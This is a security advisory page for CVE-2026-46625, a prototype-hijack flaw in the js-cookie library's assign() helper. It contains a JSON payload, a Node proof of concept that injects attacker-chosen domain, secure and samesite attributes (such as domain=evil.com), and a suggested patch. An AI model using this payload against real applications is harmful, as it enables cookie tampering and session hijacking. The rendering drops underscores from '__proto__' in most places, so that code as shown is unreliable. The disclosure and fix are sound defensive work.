CVE-2026-46625: JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

Published May 21, 2026
·
Updated

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept

Node 22.11.0, no third-party deps:

Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />

Suggested patch

diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }

Other sources

JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.

MITRE

Affected Software

9 affected componentsFixes available
npm/js-cookie<=3.0.5
3.0.7
js-cookie Javascript Cookie Node.js<3.0.7
redhat 3scale API Management=2.0
redhat Ansible Automation Platform=2.0
redhat OpenShift AI
redhat Openshift Lightspeed
redhat Enterprise Linux=8.0
redhat Enterprise Linux=9.0
redhat Enterprise Linux=10.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/js-cookie to a version that resolves this vulnerability.

    Fixed in 3.0.7
  2. Upgrade

    Upgrade js-cookie to a version that resolves this vulnerability.

    Fixed in 3.0.7
  3. Configuration

    Update js-cookie to v3.0.7 or apply the assign() change so property copying does not use `for...in`/plain assignment that allows `__proto__` injection; specifically ignore `key === '__proto__' || key === 'constructor' || key === 'prototype'` and copy only own property names (e.g., via `Object.getOwnPropertyNames`).

    js-cookie (internal assign helper in src/assign.mjs) Prototype/key filtering for attributes merge = Skip keys when key is '__proto__', 'constructor', or 'prototype' (and iterate own property names instead of for...in)

Event History

May 21, 2026
Advisory Published
via GitHub·09:20 PM
Data Sourced
via GitHub·09:20 PM
DescriptionSeverityWeaknessAffected Software
Jun 10, 2026
CVE Published
via MITRE·09:18 PM
Data Sourced
via MITRE·09:18 PM
DescriptionSeverityWeakness
Data Sourced
via Red Hat·10:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·10:16 PM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-46625?

CVE-2026-46625 has a severity score of 7.5, indicating a high level of risk.

2

How do I fix CVE-2026-46625?

To fix CVE-2026-46625, update `js-cookie` to the latest version where the vulnerability has been addressed.

3

What type of attack can CVE-2026-46625 lead to?

CVE-2026-46625 can lead to prototype pollution, which may allow attackers to modify the behavior of the application.

4

Which software is affected by CVE-2026-46625?

CVE-2026-46625 affects the `js-cookie` library used in JavaScript applications.

5

What is the impact of CVE-2026-46625 on data integrity?

CVE-2026-46625 allows for unauthorized modification of the target object's properties, thus impacting data integrity.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203